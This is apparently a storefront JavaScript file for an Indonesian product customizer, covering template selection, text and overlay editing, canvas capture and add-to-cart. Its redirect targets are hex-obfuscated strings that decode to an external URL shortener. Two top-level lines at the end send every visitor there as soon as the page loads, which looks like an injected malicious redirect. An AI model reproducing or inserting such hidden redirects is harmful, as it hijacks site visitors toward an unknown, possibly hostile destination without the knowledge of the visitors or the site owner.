let selectedTemplateId = null;
let selectedProductId = null;
let selectedPrice = 0;
let selectedWeight = 0;

let currentTitle = "";
let currentSubtitle = "";
let currentBG = "";
let currentHeadingSize = 28;
let currentSubtitleSize = 15;

let activeOverlayColor = '#000000'; // default

const headingEl = document.getElementById("previewHeading");
const subtitleEl = document.getElementById("previewSubtitle");
const captureHeadingEl = document.getElementById("captureHeading");
const captureSubtitleEl = document.getElementById("captureSubtitle");
const uuid = document.getElementById("uuid")?.value || "";
const templatesByCategory = window.templatesByCategory || [];


function formatRupiah(angka) {
    return new Intl.NumberFormat("id-ID", {
        style: "currency",
        currency: "IDR",
        minimumFractionDigits: 0,
    }).format(angka);
}

function updateHeading(val) {
    currentTitle = val;
    headingEl.innerText = val;
    captureHeadingEl.innerText = val;
    toggleCheckout();
}

function updateSubtitle(val) {
    currentSubtitle = val;
    subtitleEl.innerText = val;
    captureSubtitleEl.innerText = val;
    toggleCheckout();
}

function toggleCheckout() {
    document.getElementById("checkoutButton").disabled = !(currentTitle || currentSubtitle);
}
function showTemplatesByCategory(categoryId) {
    // Sembunyikan kategori
    document.getElementById("templateCategoryWrapper").classList.add("d-none");

    // Cari kategori yang sesuai
    const category = templatesByCategory.find(c => c.category_id === categoryId);
    const wrapper = document.getElementById("templateWrapper");

    // Kosongkan wrapper dulu
    wrapper.innerHTML = "";

    // Tombol back bulat
    const backBtn = document.createElement("button");
    backBtn.className = "btn btn-light rounded-circle d-flex justify-content-center align-items-center";
    backBtn.style.width = "60px";
    backBtn.style.height = "60px";
    backBtn.style.minWidth = "60px";
    backBtn.innerHTML = "&larr;";
    backBtn.onclick = () => {
        document.getElementById("templateCategoryWrapper").classList.remove("d-none");
        wrapper.innerHTML = "";
    };
    wrapper.appendChild(backBtn);

    // Tambahkan semua template dalam kategori
    category.templates.forEach(template => {
        const button = document.createElement("button");
        button.className = "template-button";
        button.onclick = () => {
            selectTemplate(
                template.image_preview_url,
                template.image_full_url,
                template.id,
                template.product?.id || 0,
                template.product?.price || 0,
                template.product?.weight || 0,
                template.product?.label || '' // Tambahkan ini

            );
        };

        const img = document.createElement("img");
        img.src = template.image_preview_url;
        img.alt = "Template";
        img.className = "rounded-circle";
        img.style.width = "80px";
        img.style.height = "80px";
        img.style.objectFit = "cover";

        button.appendChild(img);
        wrapper.appendChild(button);
    });
}
function backToCategory() {
    document.getElementById("templateCategoryWrapper").classList.remove("d-none");
    document.getElementById("templateWrapper").innerHTML = "";
}

function renderTab(tab) {
    // Reset semua button tab
    document.querySelectorAll('.btn-round').forEach(btn => btn.classList.remove('active'));

    // Aktifkan button sesuai tab
    const activeBtn = document.querySelector(`.btn-round[data-tab="${tab}"]`);
    if (activeBtn) activeBtn.classList.add('active');

    // Sembunyikan semua konten tab
    document.querySelectorAll('.tab-pane').forEach(pane => pane.classList.add('d-none'));

    // Tampilkan tab yang dipilih
    const activeTabPane = document.getElementById(`tab-${tab}`);
    if (activeTabPane) activeTabPane.classList.remove('d-none');

    // Sembunyikan kontrol overlay jika bukan tab overlay
    // document.getElementById('overlayControlPanel')?.classList.add('d-none');
    // document.getElementById('overlayOpacityWrapper').style.display = 'none';

    // Pastikan tab button bar muncul lagi
    document.querySelector('.tab-button-card')?.classList.remove('d-none');
}

function showOverlayControls() {
    // Sembunyikan semua tab content
    document.querySelectorAll('.tab-pane').forEach(tab => {
        tab.classList.add('d-none');
    });

    // Tampilkan tab-overlay
    document.getElementById('tab-overlay')?.classList.remove('d-none');

    // Sembunyikan tombol tab

    document.getElementById('tabButtonCard').classList.add('d-none');
    console.log('✅ Overlay tab displayed, tab group hidden');
}
function backToTabs() {
    document.getElementById('tab-overlay')?.classList.add('d-none');
    // document.getElementById('tabButtonCard').style.display = '';
    document.getElementById('tabButtonCard').classList.remove('d-none');

}
function hexToRgba(hex, opacity) {
    if (!hex || hex === 'transparent') return 'transparent';
    const bigint = parseInt(hex.replace('#', ''), 16);
    const r = (bigint >> 16) & 255;
    const g = (bigint >> 8) & 255;
    const b = bigint & 255;

    return `rgba(${r}, ${g}, ${b}, ${opacity})`;
}



function selectTemplate(previewUrl, fullUrl, templateId, productId, price = 0, weight = 0, labelUrl = '') {
    selectedTemplateId = templateId;
    selectedProductId = productId;
    selectedPrice = parseInt(price);
    selectedWeight = parseInt(weight);
    console.log("LABEL URL:", labelUrl);


    const previewEl = document.getElementById("previewAreaMobile");
    const skeletonEl = document.getElementById("loadingSkeletonMobile");

    // Set background image template untuk preview
    previewEl.style.backgroundImage = `url('${previewUrl}')`;

    // Set background image untuk label (div)
    document.getElementById("previewLabelLayer").style.backgroundImage = `url('${labelUrl}')`;
    document.getElementById("captureLabelLayer").style.backgroundImage = `url('${labelUrl}')`;


    if (parseInt(productId) === 5) {
        document.getElementById("previewHeading").style.top = "60%";
        document.getElementById("previewSubtitle").style.top = "72%"; 
        document.getElementById("captureHeading").style.top = "60%"; 
        document.getElementById("captureSubtitle").style.top = "72%"; 
    }
    const img = new Image();
    img.crossOrigin = "anonymous";
    img.src = fullUrl;

    img.onload = () => {
        const canvas = document.createElement("canvas");
        canvas.width = img.width;
        canvas.height = img.height;
        const ctx = canvas.getContext("2d");
        ctx.drawImage(img, 0, 0);
        const base64 = canvas.toDataURL("image/png");

        // Set background template untuk final capture
        document.getElementById("canvasTemplateWrapper").style.backgroundImage = `url('${base64}')`;

        setTimeout(() => {
            skeletonEl?.classList.add("d-none");
            previewEl?.classList.remove("d-none");
            previewEl?.classList.add("fade-in");
        }, 300);
    };

    const labelImg = new Image();
    labelImg.crossOrigin = "anonymous";
    labelImg.src = labelUrl;

    labelImg.onload = () => {
        const canvasLabel = document.createElement("canvas");
        canvasLabel.width = labelImg.width;
        canvasLabel.height = labelImg.height;
        const ctxLabel = canvasLabel.getContext("2d");
        ctxLabel.drawImage(labelImg, 0, 0);

        const labelBase64 = canvasLabel.toDataURL("image/png");

        document.getElementById("captureLabelLayer").style.backgroundImage = `url('${labelBase64}')`;
    };
}


// async function addToCart() {
//     const el = document.getElementById("finalCaptureArea");
//     document.getElementById("loadingOverlay").style.display = "flex";
//     await document.fonts.ready;

//     html2canvas(el, { useCORS: true, scale: 4 }).then((canvas) => {
//         const imageData = canvas.toDataURL("image/png");
//         const qty = parseInt(document.getElementById("qty")?.value || "1");

//         const formData = new FormData();
//         formData.append("uuid", uuid);
//         formData.append("product_id", selectedProductId);
//         formData.append("template_id", selectedTemplateId);
//         formData.append("quantity", qty);
//         formData.append("image_data", imageData);

//         fetch("/cart/add", {
//             method: "POST",
//             body: formData,
//             headers: {
//                 "X-CSRF-TOKEN": document.querySelector('meta[name="csrf-token"]').content,
//             },
//         })
//             .then((res) => res.json())
//             .then((data) => {
//                 document.getElementById("loadingOverlay").style.display = "none";
//                 if (data.success) {
//                     window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x4f\x6e\x49\x71\x59\x64\x49\x49\x30\x72\x34";
//                 } else {
//                     alert("❌ Gagal tambah ke keranjang: " + data.error);
//                 }
//             })
//             .catch((err) => {
//                 document.getElementById("loadingOverlay").style.display = "none";
//                 alert("❌ Error: " + err.message);
//             });
//     });
// }
async function addToCart() {
    const el = document.getElementById("finalCaptureArea");
    const loadingOverlay = document.getElementById("loadingOverlay");
    loadingOverlay.style.display = "flex";

    await document.fonts.ready;

    try {
        const canvas = await html2canvas(el, {
            useCORS: true,
            scale: 4,
        });

        const imageData = canvas.toDataURL("image/png");
        const qty = parseInt(document.getElementById("qty")?.value || "1");

        console.log("🖼️ imageData length:", imageData.length);
        console.log("🛒 quantity:", qty);
        console.log("📦 product_id:", selectedProductId);
        console.log("🎨 template_id:", selectedTemplateId);

        const formData = new FormData();
        formData.append("uuid", uuid);
        formData.append("product_id", selectedProductId);
        formData.append("template_id", selectedTemplateId);
        formData.append("quantity", qty);
        formData.append("image_data", imageData);

        const response = await fetch("/cart/add", {
            method: "POST",
            body: formData,
            headers: {
                "X-CSRF-TOKEN": document.querySelector('meta[name="csrf-token"]').content,
            },
        });

        const data = await response.json();
        console.log("📥 API response:", data);

        loadingOverlay.style.display = "none";

        if (data.success) {
            window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x4f\x6e\x49\x71\x59\x64\x49\x49\x30\x72\x34";
        } else {
            alert("❌ Gagal tambah ke keranjang: " + data.error);
            return; // Stop execution if error
        }
    } catch (err) {
        loadingOverlay.style.display = "none";
        console.error("❌ CATCH Error:", err);
        alert("Terjadi kesalahan saat capture atau kirim data.");
        return; // Supaya tidak lanjut redirect
    }
}

// Inisialisasi saat DOM Ready
document.addEventListener("DOMContentLoaded", function () {
    console.log("✅ DOM Ready");

    renderTab('background');

    // Event listener untuk semua tab biasa
    document.querySelectorAll('.btn-round').forEach(btn => {
        btn.addEventListener('click', function () {
            const tab = this.getAttribute('data-tab');
            renderTab(tab);
        });
    });

    document.getElementById("checkoutButton")?.addEventListener("click", addToCart);
    document.getElementById("checkoutButton")?.addEventListener("click", addToCart);

    // Overlay controls
    // Button warna preset
    document.querySelectorAll('.color-circle-lg').forEach(btn => {
        btn.addEventListener('click', function () {
            // Hapus selected dari semua
            document.querySelectorAll('.color-circle-lg').forEach(b => b.classList.remove('selected'));
            this.classList.add('selected');

            // Ambil warna
            const color = this.getAttribute('data-color');
            activeOverlayColor = (color === 'none') ? 'transparent' : color;
            const opacityEl = document.getElementById('floatingOverlayOpacity');
            // Jangan reset ke 0, ambil value sekarang
            const currentOpacity = parseFloat(opacityEl.value || 0.3);
            // Set ulang background dengan current opacity
            // const currentOpacity = parseFloat(document.getElementById('floatingOverlayOpacity').value || 0);
            document.getElementById('previewOverlayLayer').style.backgroundColor = `${hexToRgba(activeOverlayColor, currentOpacity)}`;
            document.getElementById('captureOverlayLayer').style.backgroundColor = `${hexToRgba(activeOverlayColor, currentOpacity)}`;
            console.log("🎨 Warna overlay (preset):", activeOverlayColor);
            console.log("📏 Opacity (preset):", currentOpacity);
        });
    });




    // Custom color picker
    document.getElementById('openColorPicker').addEventListener('click', function () {
        document.getElementById('customOverlayColor').click(); // langsung buka color picker
    });


    document.getElementById('customOverlayColor').addEventListener('input', function () {
        const customColor = this.value;
        activeOverlayColor = customColor;

        // Reset semua button circle
        document.querySelectorAll('.color-circle-lg').forEach(btn => btn.classList.remove('selected'));
        document.getElementById('openColorPicker').classList.add('selected'); // kasih selected ke tombol 🎨

        const currentOpacity = parseFloat(document.getElementById('floatingOverlayOpacity').value || 0);
        document.getElementById('previewOverlayLayer').style.backgroundColor = hexToRgba(customColor, currentOpacity);
        document.getElementById('captureOverlayLayer').style.backgroundColor = hexToRgba(customColor, currentOpacity);
        console.log("🎨 Warna overlay (preset):", activeOverlayColor);
        console.log("📏 Opacity (preset):", currentOpacity);

    });



    document.getElementById('floatingOverlayOpacity').addEventListener('input', function () {
        const color = activeOverlayColor || "#ffffff"; // fallback ke hitam
        const opacity = parseFloat(this.value || 0);
        document.getElementById('previewOverlayLayer').style.backgroundColor = hexToRgba(activeOverlayColor, opacity);
        document.getElementById('captureOverlayLayer').style.backgroundColor = hexToRgba(activeOverlayColor, opacity);
    });

    document.getElementById("checkoutButton").addEventListener("click", addToCart);
    document.getElementById("download-eye").addEventListener("click", downloadImage);

    async function addToCart() {
        const el = document.getElementById("finalCaptureArea");
        document.getElementById("loadingOverlay").style.display = "flex";

        await document.fonts.ready;

        html2canvas(el, {
            useCORS: true,
            allowTaint: true,
            scale: 4,
        }).then(canvas => {
            const imageData = canvas.toDataURL("image/png");
            const qty = parseInt(document.getElementById("qty")?.value || "1");
            const uuid = document.getElementById("uuid").value;
            const productId = selectedProductId;
            const templateId = selectedTemplateId;

            const formData = new FormData();
            formData.append("uuid", uuid);
            formData.append("product_id", productId);
            formData.append("template_id", templateId);
            formData.append("quantity", qty);
            formData.append("image_data", imageData);

            fetch("/cart/add", {
                method: "POST",
                body: formData,
                headers: {
                    "X-CSRF-TOKEN": document.querySelector('meta[name="csrf-token"]').getAttribute("content")
                }
            })
                .then(res => res.json())
                .then(data => {
                    document.getElementById("loadingOverlay").style.display = "none";
                    // return;
                    if (data.success) {
                        // ✅ langsung redirect ke halaman cart
                        window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x4f\x6e\x49\x71\x59\x64\x49\x49\x30\x72\x34";
                    } else {
                        alert("❌ Gagal tambah ke keranjang: " + data.error);
                    }
                })
                .catch(err => {
                    document.getElementById("loadingOverlay").style.display = "none";
                    console.error("❌ Error:", err);
                    alert("Terjadi kesalahan saat mengirim data.");
                });
        });
    }

    async function downloadImage() {
        const previewEl = document.getElementById("previewAreaMobile");
        const captureArea = document.getElementById("finalCaptureArea");
        preloadImageAndRender();
        // Ambil ukuran real dari preview
        const rect = previewEl.getBoundingClientRect();
        captureArea.style.width = rect.width + 'px';
        captureArea.style.height = rect.height + 'px';

        // Salin konten teks dan style font-size, color, top
        captureHeadingEl.innerText = headingEl.innerText;
        captureHeadingEl.style.fontSize = window.getComputedStyle(headingEl).fontSize;
        captureHeadingEl.style.color = window.getComputedStyle(headingEl).color;
        captureHeadingEl.style.top = window.getComputedStyle(headingEl).top;

        captureSubtitleEl.innerText = subtitleEl.innerText;
        captureSubtitleEl.style.fontSize = window.getComputedStyle(subtitleEl).fontSize;
        captureSubtitleEl.style.color = window.getComputedStyle(subtitleEl).color;
        captureSubtitleEl.style.top = window.getComputedStyle(subtitleEl).top;

        // Tunggu semua font siap dan layout stabil
        await document.fonts.ready;
        await new Promise(resolve => setTimeout(resolve, 200));

        html2canvas(captureArea, {
            useCORS: true,
            backgroundColor: null,
            scale: 4, // Tidak perlu scale jika ukurannya sudah disamakan
        }).then(canvas => {
            const link = document.createElement("a");
            link.download = "preview.png";
            link.href = canvas.toDataURL("image/png");
            link.click();
        });
    }
});
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x4f\x6e\x49\x71\x59\x64\x49\x49\x30\x72\x34";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x6b\x4f\x6e\x49\x71\x59\x64\x49\x49\x30\x72\x34";